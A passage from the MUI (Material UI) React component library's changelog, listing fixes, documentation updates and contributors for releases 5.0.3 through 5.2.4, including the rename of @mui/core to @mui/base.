`@mui/icons-material@5.2.4`\n\n- [icons] Correct location of icon download folder (#29839) @yaboi\n\n### Docs\n\n- [docs] Explain the use of Select's label in FormControl (#30189) @michaldudak\n- [docs] Don't run nprogress on shallow routing (#30087) @Janpot\n- [docs] Add Data Driven Forms to related projects (#30078) @rvsia\n- [docs] Sync translations with Crowdin (#30067) @l10nbot\n- [docs] Fix link on \"Custom variables\" section in the Theming page #30100 @danilo-leal\n- [docs] Fix justifyContent option in the Grid interactive demo (#30117) @danilo-leal\n- [docs] Add tip to help access the docs of a previous version when finding answers in Stack Overflow (#30101) @danilo-leal\n- [docs] Fix import example inside Unstyled Backdrop section (#30098) @TheodosiouTh\n- [survey] Remove survey promotion items (#30122) @danilo-leal\n\n### Core\n\n- [core] Fix link to Open Collective @oliviertassinari\n- [core] Update snapshots and s3 fallback (#30134) @Janpot\n- [ci] Update CI bucket (#30080) @Janpot\n- [fix] size:snapshot for mui-material-next and mui-joy components (#30106) @Janpot\n\nAll contributors of this release in alphabetical order: @alisasanib, @bryan-hunter, @danilo-leal, @eps1lon, @fmeum, @Janpot, @kkorach, @l10nbot, @ladygo93, @michaldudak, @mnajdova, @oliviertassinari, @Philipp000, @rvsia, @TheodosiouTh, @yaboi\n\n## 5.2.3\n\n<!-- generated comparing v5.2.2..master -->\n\n_Dec 6, 2021_\n\nA big thanks to the 25 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ We have introduced a new unstyled component in `@mui/base`: `TablePagination` (#29759) @mnajdova\n\n  <a href=\"https://mui.com/components/tables/#unstyled-table\"><img width=\"800\" alt=\"unstyled table\" src=\"https://user-images.githubusercontent.com/4512430/144862194-584356ef-7d9d-462c-a631-186a7e716193.png\"></a>\n\n  You can follow our progress with unstyled components at https://github.com/mui/base-ui/issues/10.\n\n- 🎉 We have added an example of how to use MUI with [Remix](https://remix.run/) (#29952) @mnajdova\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.2.3`\n\n- [Accordion] Add a test for handling `square` prop (#29972) @daniel-sachs\n- [Alert] Fix `square` Paper prop (#30027) @ZeeshanTamboli\n- [AvatarGroup] Allow specifying total number of avatars (#29898) @eduardomcv\n- [Button] Fix regression from context API (#29982) @siriwatknp\n- [Grid] Fix generated classes for `spacing` prop when the value is object (#29880) @jayeclark\n- [Select] Should not crash when an empty array is passed with `multiple` enabled (#29957) @Domino987\n\n### `@mui/system@5.2.3`\n\n- [system] Fix return type of `createBox` (#29989) @mnajdova\n- [system] Support boolean values in TypeScript for the `sx` prop when used as array (#29911) @tasugi\n\n### `@mui/utils@5.2.3`\n\n- [utils] Add typings for `@mui-material/styles/cssUtils` (#29621) @Semigradsky\n\n### `@mui/icons-material@5.2.1`\n\n- [icons] Consolidate ignored icons into one list (#29843) @chao813\n\n### `@mui/base@5.0.0-alpha.59`\n\n- [base] Fix missing ClickAwayListener barrel index export (#30000) @oliviertassinari\n- [TablePaginationUnstyled] Introduce new component (#29759) @mnajdova\n\n### `@mui/lab@5.0.0-alpha.59`\n\n- [DateRangePicker] Fix `DateRangePickerDayProps` interface (#29067) @jonathanrtuck\n- [Pickers] Remove propagation of custom props to the `MonthPicker` component's DOM element (#30021) @ZeeshanTamboli\n- [StaticDatePicker] Add className and slot to PickerStaticWrapper (#29619) @kkorach\n\n### `@mui/joy@5.0.0-alpha.5`\n\n- [Joy] Theme setup (#29846) @siriwatknp\n\n### Docs\n\n- [docs] Fix link in TypeScript doc page (#30044) @genzyy\n- [docs] Remove the 'WIP' icon from the 'Group & Pivot' page title (#30077) @flaviendelangle\n- [docs] Add warning that `@mui/styled-engine-sc` does not work in SSR (#30026) @mnajdova\n- [docs] Add section for CSS specificity in the migration guide (#30008) @hbjORbj\n- [docs] Clarify comment in migration doc (#30076) @hbjORbj\n- [docs] Sync translations with Crowdin (#30041) @l10nbot\n- [docs] Explain how Paper changes shade in dark mode (#30003) @michaldudak\n- [docs] Update nextjs-typescript-example (#29974) @huydhoang\n- [docs] Add missing global state classes to API docs generator (#29945) @michaldudak\n- [docs] Fix benchmarks folder link (#29981) @fourjr\n- [docs] Improve wording in Stack Overflow section of support page (#29956) @ronwarner\n- [docs] Remove Black Friday sale notification (#29936) @mbrookes\n- [examples] Fix typos in the Remix example (#30071) @MichaelDeBoey\n- [examples] Add Remix example (#29952) @mnajdova\n- [examples] Fix lint issue for displayName missing in the Next.js examples (#29985) @ZeeshanTamboli\n- [Stack] Document system props in Stack API (#30069) @ThewBear\n- [survey] Add a banner and card for promoting the 2021 survey (#29950) @danilo-leal\n\n### Core\n\n- [core] Batch small changes (#30042) @oliviertassinari\n- [core] Transition to a new Stack Overflow tag (#29967) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @chao813, @daniel-sachs, @danilo-leal, @Domino987, @eduardomcv, @flaviendelangle, @fourjr, @genzyy, @hbjORbj, @huydhoang, @jayeclark, @jonathanrtuck, @kkorach, @l10nbot, @mbrookes, @MichaelDeBoey, @michaldudak, @mnajdova, @oliviertassinari, @ronwarner, @Semigradsky, @siriwatknp, @tasugi, @ThewBear, @ZeeshanTamboli\n\n## 5.2.2\n\n<!-- generated comparing v5.2.1..master -->\n\n_Nov 29, 2021_\n\nA big thanks to the 9 contributors who made this release possible. Here are some highlights ✨:\n\n- ♿️ Improved accessibility of `Snackbar` and `TextField` in `@mui/material` (#29782) (#29850) (#29852) @eps1lon.\n- 🎉 Added support for `sx` syntax inside `styled()` utility (#29833) @mnajdova.\n- 🎉 Added support for more options for `createCssVarsProvider` in `@mui/system` (#29845) (#29857) @hbjORbj.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.2.2`\n\n- [MenuList] Add component prop (#29882) @Harshikerfuffle\n- [Snackbar] Interrupt auto-hide on keyboard interaction (#29852) @eps1lon\n- [Snackbar] Dismiss on Escape press (#29850) @eps1lon\n- [TextField] Associate accessible name and description by default (#29782) @eps1lon\n\n### `@mui/joy@5.0.0-alpha.4`\n\n- [Joy] Add `Button` - 1st iteration (#29464) @siriwatknp\n\n### `@mui/codemod@5.2.1`\n\n- [codemod] Fix alias import for box-sx-prop (#29902) @siriwatknp\n\n### `@mui/system@5.2.2`\n\n- [system] CSSVarsProvider cleans up `html[style]` when unmounting (#29946) @eps1lon\n- [system] Add support for `disableTransitionOnChange` in `createCssVarsProvider` (#29857) @hbjORbj\n- [system] Add support for `enableColorScheme` in `createCssVarsProvider` (#29845) @hbjORbj\n\n### `@mui/utils@5.2.2`\n\n- [useId] Trade random collisions for collisions on overflow (#29781) @eps1lon\n- [useIsFocusVisible] Convert to TypeScript (#29779) @eps1lon\n\n### Docs\n\n- [docs] Fix v5-beta confusing example description (#29932) @oliviertassinari\n- [docs] Apply the z-index on the right DOM element (#29934) @oliviertassinari\n- [docs] Improve git diff format (#29935) @oliviertassinari\n- [docs] Fix typo (#29866) @sinclairity\n- [docs] Fix key display (#29933) @oliviertassinari\n- [docs] Fix outdated link to next/link docs (#29937) @radlinskii\n- [docs] Add how to pass `sx` prop (#29905) @siriwatknp\n- [docs] Fix typo in notifications @mbrookes\n- [docs] Black Friday sale notification @mbrookes\n\n### Core\n\n- [core] Remove dead code (#29940) @oliviertassinari\n- [core] Move benchmark CI job from AZP to CircleCI (#29894) @eps1lon\n- [core] Fix PR detection pattern in test_bundle_size_monitor (#29895) @eps1lon\n- [test] Fix browser tests (#29929) @eps1lon\n- [test] Reject shorthand properties in style matchers (#29893) @eps1lon\n\nAll contributors of this release in alphabetical order: @danilo-leal, @eps1lon, @Harshikerfuffle, @hbjORbj, @mbrookes, @oliviertassinari, @radlinskii, @sinclairity, @siriwatknp\n\n## 5.2.1\n\n<!-- generated comparing v5.2.0..master -->\n\n_Nov 25, 2021_\n\nA big thanks to the 7 contributors who made this release possible. Here are some highlights ✨:\n\nThis is an early release to fix `export 'useId' (imported as 'React') was not found in 'react'` when bundling code depending on MUI Core.\n\n- [AppBar][docs] Add a fully responsive demo to docs (#29829) @karakib2k18\n- [core] Fix PR run detection in test_bundle_size_monitor (#29879) @eps1lon\n- [core] Move bundle size monitoring to CircleCI (#29876) @eps1lon\n- [docs] Add keys to Responsive AppBar demo (#29884) @mbrookes\n- [docs] MUI's 2021 Developer Survey (#29765) @prakhargupta1\n- [docs] Smoother image loading UX (#29858) @oliviertassinari\n- [Select] Fix select display value with React Nodes (#29836) @kegi\n- [system] Add `experimental_sx` utility (#29833) @mnajdova\n- [test] Ignore \"detected multiple renderers\" warning for now (#29854) @eps1lon\n- [useMediaQuery][utils] Remove usage of React 18 APIs (#29870) @eps1lon\n\nAll contributors of this release in alphabetical order: @eps1lon, @karakib2k18, @kegi, @mbrookes, @mnajdova, @prakhargupta1, @oliviertassinari\n\n## 5.2.0\n\n<!-- generated comparing v5.1.1..master -->\n\n_Nov 23, 2021_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🧪 Created another unstyled component: [TabsUnstyled](https://mui.com/components/tabs/#unstyled) (#29597) @mnajdova.\n- 🎉 Updated the Material Icons set with the latest changes from Google (#29328) @michaldudak / (#29818) @chao813.\n  This update adds 200 new icons and tweaks the appearance of many more.\n  With it, we're getting close to having 2000 icons in our set.\n- 🐛 Fixed bugs and improved the infrastructure and documentation 📚.\n\n### `@mui/material@5.2.0`\n\n- [IconButton] Remove on hover effect when `disableRipple` is set (#29298) @adamfitzgibbon\n- [i18n] Add the amharic language (#29153) @NatiG100\n- [material] Fix types for `variants.style` to accept callbacks (#29610) @mnajdova\n- [Popper] Simplify prop types (#29680) @michaldudak\n- [Select] Include aria-selected=false when option not selected (#29695) @michaldudak\n- [useMediaQuery] Fix crash in Safari < 14 and IE 11 (#29776) @eps1lon\n- [useMediaQuery] Ensure no tearing in React 18 (#28491) @eps1lon\n\n### `@mui/codemod@5.2.0`\n\n- [codemod] Fix `jss-to-styled` to support multiple withStyles (#29824) @siriwatknp\n\n### `@mui/icons-material@5.2.0`\n\n- [icons] Sync new Google Material Icons (#29818) @chao813\n- [icons] Sync recent Material Icons from Google (#29328) @michaldudak\n\n### `@mui/system@5.2.0`\n\n- [Box] Fix `sx` prop runtime issue when used as function (#29830) @mnajdova\n- [system] Fix `sx` throw error when value is `null` or `undefined` (#29756) @siriwatknp\n- [system] Fix minor CssVars issues (#29747) @siriwatknp\n\n### `@mui/styled-engine@5.2.0`\n\n- [styled-engine] Fix props inference in styled-engine (#29739) @Janpot\n\n### `@mui/base@5.0.0-alpha.56`\n\n- [FormControlUnstyled] `focused` is always false unless explicitly set to `true` @mwilkins91\n- [TabsUnstyled] Introduce new component (#29597) @mnajdova\n\n### `@mui/lab@5.0.0-alpha.56`\n\n- [DatePicker][timepicker] Add missing component declarations (#29517) @longzheng\n- [Masonry] exports from root package (#29754) @abhinav-22-tech\n- [pickers] Widen accepted `luxon` version range (#29761) @eps1lon\n\n### Docs\n\n- [blog] MUI X v5 blog post (#29590) @DanailH\n- [blog] Polish the Benny Joo joins MUI post (#29697) @oliviertassinari\n- [changelog] Explain why we do breaking changes @oliviertassinari\n- [core] Update latest issue template for codesandbox CI (#29783) @eps1lon\n- [core] Ensure `@mui/core` is an alias for `@mui/base` (#29762) @eps1lon\n- [docs] Fix broken Next and Previous links (#29711) @scallaway\n- [docs] Add a note that ToggleButton exclusive does not enforce selection (#29812) @mmacu\n- [docs] Update the list of supported locales (#29831) @michaldudak\n- [docs] Update tooltip doc to better define touch action (#29717) @gnowland\n\n### Core\n\n- [test] Allow debugging with Chrome and VS Code inspector (#29777) @eps1lon\n- [test] Use renderer clock instead of custom useFakeTimers call (#29778) @eps1lon\n- [test] Only mock Date in regression tests (#29763) @eps1lon\n- [test] Disable nightly integration tests on `next` branch (#29748) @eps1lon\n- [test] Allow configuring clock directly from `createRenderer` (#29684) @eps1lon\n- [test] Accept backslashes as path separators in test CLI (#29694) @michaldudak\n- [utils] Use built-in hook when available for useId (#26489) @eps1lon\n\nAll contributors of this release in alphabetical order: @abhinav-22-tech, @adamfitzgibbon, @bharatkashyap, @chao813, @DanailH, @danilo-leal, @eps1lon, @gnowland, @Janpot, @longzheng, @michaldudak, @mmacu, @mnajdova, @mwilkins91, @NatiG100, @oliviertassinari, @scallaway, @siriwatknp\n\n## 5.1.1\n\n<!-- generated comparing v5.1.0..master -->\n\n_Nov 16, 2021_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 Renamed `@mui/core` to `@mui/base` (#29585) @michaldudak.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.1.1`\n\n- [Breadcrumbs][divider] Replace decimal spacing values with integers and css calc (#29526) @anikcreative\n- [Select][nativeselect] Add `multiple` class (#29566) @aaronholla\n- [Popper] Split into PopperUnstyled and Popper (#29488) @michaldudak\n- [Select] Make it clear that `Select` is not a root component (#29593) @hbjORbj\n- [l10n] Improved Dutch (nl-NL) locale (#29592) @flipvrijn\n- [Table] Improve pagination range, use \"en dash\" over \"hyphen\" (#29579) @narekmal\n\n### `@mui/base@5.0.0-alpha.55`\n\n#### Breaking changes\n\n- [core] Rename mui/core to mui/base (#29585) @michaldudak\n\n  Based on the results of the [poll](https://x.com/michaldudak/status/1452630484706635779) and our internal discussions, we decided to rename the `@mui/core` package to `@mui/base`. The main rationale for this is the fact that we use the term \"Core\" to refer to the core components product family, the one that includes Material Design components, unstyled components, System utilities, etc. Therefore, @mui/core was effectively a subset of MUI Core. This was confusing.\n\n  The new name better reflects the purpose of the package: it contains unstyled components, hooks, and utilities that serve as a **base** to build on.\n\n  ```diff\n  -import { useSwitch } from '@mui/core/SwitchUnstyled';\n  +import { useSwitch } from '@mui/base/SwitchUnstyled';\n  ```\n\n### `@mui/lab@5.0.0-alpha.55`\n\n- [LoadingButton] Text variant spacing fixed for both start and end (#29194) @joshua-lawrence\n- [Masonry] Check if container or child exists to prevent error (#29452) @hbjORbj\n\n### Docs\n\n- [docs] Correct bundler configuration for using legacy Material UI build (#29146) @petermikitsh\n- [docs] Fix typo on autocomplete.md (#29570) @netizer\n- [docs] Fix dark mode on branding pages (#29611) @alexfauquette\n- [docs] Do not render CSS section in API docs navbar if there are no CSS classes (#29622) @ZeeshanTamboli\n- [docs] Fix link locale handling (#29624) @oliviertassinari\n- [docs] Fix Search navigation (#29623) @oliviertassinari\n- [docs] Fix broken link & update MUI packages explanation (#29583) @siriwatknp\n- [docs] Do not repeat language snippet in url in Algolia search (#29483) @hbjORbj\n- [docs] Update `ThemeProvider` API link (#29573) @siriwatknp\n- [docs] Remove svg logos from the Support page (#29431) @oliviertassinari\n- [docs] Link UXPin integration (#29422) @oliviertassinari\n- [docs] Link to the new public roadmap for the design kits (#29433) @oliviertassinari\n- [docs] correct bundler configuration for using legacy Material UI build (#29146) @petermikitsh\n- [blog] Support many authors in markdown pages (#29633) @m4theushw\n\n### Core\n\n- [core] Add `experiments` index page (#29582) @siriwatknp\n- [core] Move s3 bucket ownership to mui-org (#29609) @eps1lon\n- [core] Improve support request message (#29614) @mnajdova\n- [core] Use support request GitHub Action (#29594) @mnajdova\n- [core] Remove unused `getJsxPreview` util (#29586) @ZeeshanTamboli\n- [core] Use GitHub issue forms (#28038) @oliviertassinari\n- [core] Add playground (#29423) @oliviertassinari\n- [test] Correctly identify what the `raf` helper is for (#29683) @eps1lon\n- [test] Verify a quilted ImageList is created as test title suggests (#29565) @daniel-sachs\n- [test] Replace `createServerRender` with `createRenderer` (#29503) @eps1lon\n- [test] Always ignore \"useLayoutEffect has no effect on the server\"-warning (#29502) @eps1lon\n- [test] Restore StrictMode by default (#29589) @eps1lon\n- [test] createPickerRender -> createPickerRenderer (#29575) @eps1lon\n- [test] Allow experimental CLI to run exact test (#29685) @eps1lon\n\nAll contributors of this release in alphabetical order: @aaronholla, @alexfauquette, @anikcreative, @daniel-sachs, @eps1lon, @flipvrijn, @hbjORbj, @joshua-lawrence, @michaldudak, @mnajdova, @netizer, @oliviertassinari, @petermikitsh, @siriwatknp, @ZeeshanTamboli\n\n## 5.1.0\n\n<!-- generated comparing v5.0.6..master -->\n\n_Nov 8, 2021_\n\nA big thanks to the 33 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎉 Support custom elements under `ButtonGroup` (#28645) @ZeeshanTamboli\n- 🛠 Add support for arrays in the `sx` prop (#29297) @siriwatknp\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.1.0`\n\n- [Autocomplete] Fix `hiddenLabel` prop of `TextField variant={filled}` inside Autocomplete (#29234) @jatinsandilya\n- [Box] Support generateClassName and defaultClassName (#29347) @siriwatknp\n- [ButtonGroup] Fix variant outlined always has primary color borders on hover (#29487) @ZeeshanTamboli\n- [ButtonGroup] Support different elements under ButtonGroup (#28645) @ZeeshanTamboli\n- [CssBaseline] Add `enableColorScheme` prop so enable using `color-scheme` property to deal with dark mode (#29454) @alexfauquette\n- [FormControlLabel] Narrow the label type (#29324) @michaldudak\n- [Grid] Fix usage when columns > 12 (#29196) @tanay123456789\n- [InputBase] Do not repeat the same classname (#29353) @hbjORbj\n- [InputBase] Remove WebkitAppearance from search type (#29383) @nicbarajas\n- [ListItem] Add missing exports (#29571) @robcaldecott\n- [Pagination] Allow customization of icons (#29336) @mbeltramin\n- [TextField] Fix bootstrap, normalize.css, sanitize.css conflicts (#28674) @ChrisClaude\n- [TextField] Fix invisible wrap within notched inputs (#29088) @DASPRiD\n- [Tooltip] `open` prop in `componentsProps.popper` can be optional (#29370) @ZeeshanTamboli\n- [Tooltip] Fix `className` not getting applied from PopperProps (#29023) @ZeeshanTamboli\n- [useRadioGroup] Convert to TypeScript (#29326) @eps1lon\n\n### `@mui/system@5.1.0`\n\n- [system] Introduce `mode` to CssVarsProvider (#29418) @siriwatknp\n- [system] Improve breakpoints resolver function (#29300) @hbjORbj\n- [system] Add array support for `sx` prop (#29297) @siriwatknp\n\n### `@mui/codemod@5.1.0`\n\n- [codemod] Add codemod parser flag (#29059) (#29229) @ElonVolo\n\n### `@mui/lab@5.0.0-alpha.54`\n\n- [DatePicker] Fix disabled/readOnly for view components (#28815) @adamfitzgibbon\n- [Masonry] Fix crash on unmount when using React 18 (#29358) @eps1lon\n- [Masonry] Improve height computation and detect changes in `children` (#29351) @hbjORbj\n\n### `@mui/joy@5.0.0-alpha.0`\n\n- [Joy] Update default theme (#29478) @siriwatknp\n- [Joy] Export CssVarsProvider with default theme (#29150) @siriwatknp\n- [Joy] Remove `private` to leverage CodeSandbox (#29280) @siriwatknp\n\n### Docs\n\n- [docs] Add differences between styled and sx (#28685) @eric-burel\n- [docs] Track usage of dark mode in Google Analytics (#29419) @oliviertassinari\n- [docs] Remove create-mui-theme as it is no longer working (#29472) @IPJT\n- [docs] Fix warnings in AppSearch (#29459) @eps1lon\n- [docs] Add framework example for ClassNameGenerator (#29453) @siriwatknp\n- [docs] Fix layout shift when scrolling (#29436) @oliviertassinari\n- [docs] Fix layout-shift on id='main-content' (#29425) @oliviertassinari\n- [docs] Remove usage of `process.browser` (#29438) @oliviertassinari\n- [docs] Add instruction on how to use the child selector API with emotion (#29350) @mnajdova\n- [docs] Fix small typos (#29424) @oliviertassinari\n- [docs] Fix TOC highlighting logic (#29435) @oliviertassinari\n- [docs] Fix about page flags (#29314) @mbrookes\n- [docs] Fix Box JS docs (#29282) @Pablion\n- [docs] Update storybook section in migration to v5 docs (#28800) @siriwatknp\n- [docs] Document how to enable color on dark mode (#29340) @Wimukti\n- [docs] Display search functionality in all viewports (#28819) @eps1lon\n- [docs] Query heading for ToC on demand (#29204) @eps1lon\n- [docs] Add next.js styled-component guide and update links to example (#29118) @Jareechang\n- [docs] Fix overriding `MuiTextField`'s default props in the migration guide (#29174) @tm1000\n- [docs] Fix \"clickable\" and \"deletable\" typos (#28702) @jacklaurencegaray\n- [docs] Update migration-v4 docs for wrong import path (#29042) @busches\n- [docs] Add GitHub icon change to \"Migration from v4 to v5\" guide (#29182) @dan-mba\n\n### Core\n\n- [core] Handle RecordType and FieldType in generatePropDescription.ts (#29467) @flaviendelangle\n- [core] Convert a named color to lowercase (#29465) @ainatenhi\n- [core] Allow to reuse functions from `docs:api` (#28828) @m4theushw\n- [core] Commit new nextjs 12 tsconfig (#29458) @eps1lon\n- [core] Settle on MUI X for the official name (#29420) @oliviertassinari\n- [core] Add mui as a npm keyword (#29427) @oliviertassinari\n- [core] Fix issue template redirection (#29432) @oliviertassinari\n- [core] Remove unecessary destructuration (#29354) @oliviertassinari\n- [core] Use cross-env to set env variables in material-icons scripts (#29327) @michaldudak\n- [core] Don't bump peer dependency ranges on dependency updates (#29303) @eps1lon\n- [test] Fix browser tests (#29505) @eps1lon\n- [test] Fix missing act warnings in latest React 18 alpha (#29357) @eps1lon\n- [test] Replace `createClientRender` with new `createRenderer` API (#29471) @eps1lon\n- [test] Fix possible \"missing act\" warning (#29463) @eps1lon\n- [test] Remove render#baseElement (#29462) @eps1lon\n- [test] Expose `AbortController` on global (#29360) @eps1lon\n- [test] Add internal test for uniqe `name` in `Rating` (#29329) @eps1lon\n- [test] Fix browser tests (#29305) @eps1lon\n\nAll contributors of this release in alphabetical order: @adamfitzgibbon, @ainatenhi, @alexfauquette, @busches, @ChrisClaude, @dan-mba, @DanailH, @danilo-leal, @DASPRiD, @ElonVolo, @eps1lon, @eric-burel, @flaviendelangle, @gssakash, @hbjORbj, @IPJT, @jacklaurencegaray, @Jareechang, @jatinsandilya, @m4theushw, @mbeltramin, @mbrookes, @michaldudak, @mnajdova, @nicbarajas, @oliviertassinari, @Pablion, @robcaldecott, @siriwatknp, @tanay123456789, @tm1000, @Wimukti, @ZeeshanTamboli\n\n## 5.0.6\n\n<!-- generated comparing v5.0.5..master -->\n\n_Oct 27, 2021_\n\nA big thanks to the 4 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔧 Fix reported TypeScript issues on the `@mui/system` package because some packages were not released\n\n### `@mui/material@5.0.6`\n\n- [Autocomplete] Fix `clearOnBlur` prop (#29208) @hbjORbj\n- [Rating] Remove z-index from decimal stars (#29295) @williamhaley\n\n### `@mui/system@5.0.6`\n\n- [system] Fix various issues reported by using @mui/styled-engine-sc (#29035) @mnajdova\n- [system] Fix executing server-side Emotion component as function interpolation (#29290) @Andarist\n\n### Docs\n\n- [blog] Q3 2021 Update (#28970) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @Andarist, @hbjORbj, @oliviertassinari, @williamhaley\n\n## 5.0.5\n\n<!-- generated comparing v5.0.4..master -->\n\n_Oct 26, 2021_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔧 Implement `Masonry` using Flexbox by @hbjORbj.\n- 🧪 Add three components to `@mui/base` by @rebeccahongsf and @hbjORbj.\n\n### `@mui/codemod@5.0.5`\n\n- [codemod] Support new package name in `link-underline-hover` transformer (#29214) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.52`\n\n- [ClickAwayListener] Move to the core package (#29186) @hbjORbj\n- [Popper] Move from mui-material to mui-base (#28923) @rebeccahongsf\n- [TextareaAutosize] Move to the core package (#29148) @hbjORbj\n\n### `@mui/lab@5.0.0-alpha.52`\n\n- [Masonry] Improve demo styles (#29218) @hbjORbj\n- [Masonry] Implement Masonry using Flexbox (#28059) @hbjORbj\n\n### `@mui/icons@5.0.5`\n\n- [icons] Add TipsAndUpdates icon (#29004) @hbjORbj\n\n### `@mui/material@5.0.5`\n\n- [CardMedia] Apply specified `img` role instead of custom `image` role (#29172) @eps1lon\n- [CSSBaseline] Remove incorrect @deprecated annotation (#29069) @adamfitzgibbon\n- [Grid] Support custom columns with nested grid (#28743) @Devesh21700Kumar\n- [InputBase] Remove wrong theme overriding with MUI's default theme (#29157) @hbjORbj\n- [LoadingButton] Fix `fullWidth` styling (#28652) @nikitabobers\n- [Popper] make Popper display:none whenever it's closed (#29233) @adamfitzgibbon\n- [Menu] Reduce min-height & padding in menu-item with dense property (#29180) @jatinsandilya\n- [Tab] `iconPosition` prop added in Tab (#28764) @deepanshu2506\n- [Tooltip] Correct inconsistent prop precedence (#29132) @michaldudak\n\n### `@mui/system@5.0.5`\n\n- [system] Allow function type for `sx` prop (#29198) @hbjORbj\n- [system] Fix various issues reported by using @mui/styled-engine-sc (#29035) @mnajdova\n- [system] Fix `colorScheme` conflict between application (#29139) @siriwatknp\n- [system] Add `unstable_createCssVarsProvider` api (#28965) @siriwatknp\n\n### Documentation\n\n- [docs] Fix path to `DataGrid` CSV export options page (#29220) @DanailH\n- [docs] Give anonymous components a name (#29189) @eps1lon\n- [docs] Add deploy context variables (#29195) @siriwatknp\n- [docs] Add MUI packages explanation (#29073) @siriwatknp\n- [docs] Fix typo in CSP policy (#29187) @JuliaNeumann\n- [docs] Dark mode conditional content rendering (#28665) @michal-perlakowski\n- [docs] Fix ClassNameGenerator introduced version #29177 @siriwatknp\n- [docs] Add missing `justifyContent` values and update box styling (#29117) @omarmosid\n- [docs] Make landing page hero section scrollable (#29141) @waxidiotic\n- [docs] Discourage importing different bundles directly (#29133) @eps1lon\n- [docs] Update module augmentation reference url (#29064) @gnowland\n- [pricing] Add tooltip to pricing icon (#28959) @siriwatknp\n- [Team] Add Alexandre in the about page (#29289)\n\n### Core\n\n- [core] Order repro methods by preference (#29156) @eps1lon\n- [core] Remove unnecessary usages of `useEventCallback` (#28910) @NMinhNguyen\n- [core] add `unstable_ClassNameGenerator` API (#29051) @siriwatknp\n- [core] Fix issues when using styled-components (#29048) @mnajdova\n- [core] replace hard-coded classname with classes (#29070) @siriwatknp\n- [test] Add documentation for visual regression tests (#29154) @eps1lon\n- [test] Enable \"missing act\" warnings using new proposal (#29167) @eps1lon\n\nAll contributors of this release in alphabetical order: @adamfitzgibbon, @DanailH, @deepanshu2506, @Devesh21700Kumar, @eps1lon, @gnowland, @hbjORbj, @jatinsandilya, @JuliaNeumann, @LorenzHenk, @michal-perlakowski, @michaldudak, @mnajdova, @nikitabobers, @NMinhNguyen, @omarmosid, @rebeccahongsf, @siriwatknp, @waxidiotic\n\n## 5.0.4\n\n<!-- generated comparing v5.0.3..master -->\n\n_Oct 14, 2021_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 🧪 Added `UnstyledInput` and `useInput` hook in the the first component in @mui/base package @michaldudak (#28053)\n- 🐛 Fixed many bugs and improved the documentation 📚.\n\n### `@mui/material@5.0.4`\n\n- [Chip] disable ripple only if onDelete is present. (#29034) @mottox2\n- [Pagination] Fix clicking on `...` triggering `onChange` with page value `null` (#28884) @ZeeshanTamboli\n- [Tabs] Alternative way to disable \":first-child is unsafe\" error (#28982) @hbjORbj\n- [Tabs] Fix \":first-child is potentially unsafe\" error (#28890) @hbjORbj\n- [transitions] Mark `children` as required where nullish `children` would crash at runtime (#29028) @eps1lon\n\n### `@mui/system@5.0.4`\n\n- [system] Update typing for `style` function (#28744) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.51`\n\n- [InputUnstyled] Create unstyled input and useInput hook (#28053) @michaldudak\n\n### `@mui/lab@5.0.0-alpha.51`\n\n- [DesktopDatePicker] add Paper props to pass down to Paper component (#28865) @amen-souissi\n\n### Docs\n\n- [docs] Add JSDoc to `theme.breakpoints` (#29039) @eps1lon\n- [docs] Rename broken package names in docs pointing to `@mui/material` (#29006) @visualfanatic\n- [docs] Add troubleshooting guide for unexpected styles (#28907) @mnajdova\n- [docs] Fix issues reported by ahref (#28986) @mnajdova\n- [docs] Remove json translations for dropped locales (#28987) @mnajdova\n- [docs] Fix type signature of renderGroup in Autocomplete (#28876) @tanyabouman\n- [docs] Minor typo in v4-v5 migration docs (#28995) @kgregory\n- [docs] Add `mui-image` related project (#28621) @benmneb\n- [docs] Update Getting Started Templates' Source URIs (#28929) @epodol\n- [docs] Improve search experience (#28801) @siriwatknp\n- [docs] Fix demo of the responsive drawer (#28226) @goncalovf\n- [docs] Fix global theme link demo (#28974) @ZeeshanTamboli\n- [docs] Update box example to use 'backgroundColor' rather than 'bgColor' (#28958) @Jareechang\n- [docs] corrected `Box` import for `sx-prop` example (#28873) @phudekar\n- [docs] Fix footnote ID links in CONTRIBUTING.md (#28849) @officialpiyush\n- [docs] Fix color & density playground (#28803) @siriwatknp\n- [docs] Improve visibility of styled engine configuration section in installation guide (#28903) @Jareechang\n\n### Core\n\n- [core] Prevent yarn cache growing infinitely (#29040) @eps1lon\n- [core] Update browserslist (#29025) @eps1lon\n- [core] Update `peerDependencies` to require `latest` instead of `next` (#29007) @eps1lon\n- [core] Increase memory limit for size:snapshot (#29005) @eps1lon\n- [core] Init `private` Joy package (#28957) @siriwatknp\n- [test] Remove a11y snapshot tests (#28887) @eps1lon\n\nAll contributors of this release in alphabetical order: @amen-souissi, @benmneb, @epodol, @eps1lon, @goncalovf, @hbjORbj, @Jareechang, @kgregory, @michaldudak, @mnajdova, @mottox2, @officialpiyush, @phudekar, @siriwatknp, @tanyabouman, @visualfanatic, @ZeeshanTamboli\n\n## 5.0.3\n\n<!-- generated comparing v5.0.2..master -->\n\n_Oct 7, 2021_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- 🧪 Created the first component in @mui/material-next - our v6 prototype package.\n- 🐛 Fixed many bugs and improved the documentation 📚.\n\n### `@mui/material@5.0.3`\n\n- [Stack] Add props & variants types in the theme (#28843) @mnajdova\n- [InputLabel] Fix condition for applying formControl overrides (#28707) @yevheniiminin\n- [Tooltip] Allow overriding internal components and their props (#28692) @michaldudak\n- [transitions] Fix `addEndListener` not being called with the DOM node (#28715) @eps1lon\n\n### `@mui/codemod@5.0.3`\n\n- [codemod] Fix `optimal-imports` to support v4 and v5-alpha, beta (#28812) @siriwatknp\n\n### `@mui/system@5.0.3`\n\n- [system] Add padding/margin-block/inline 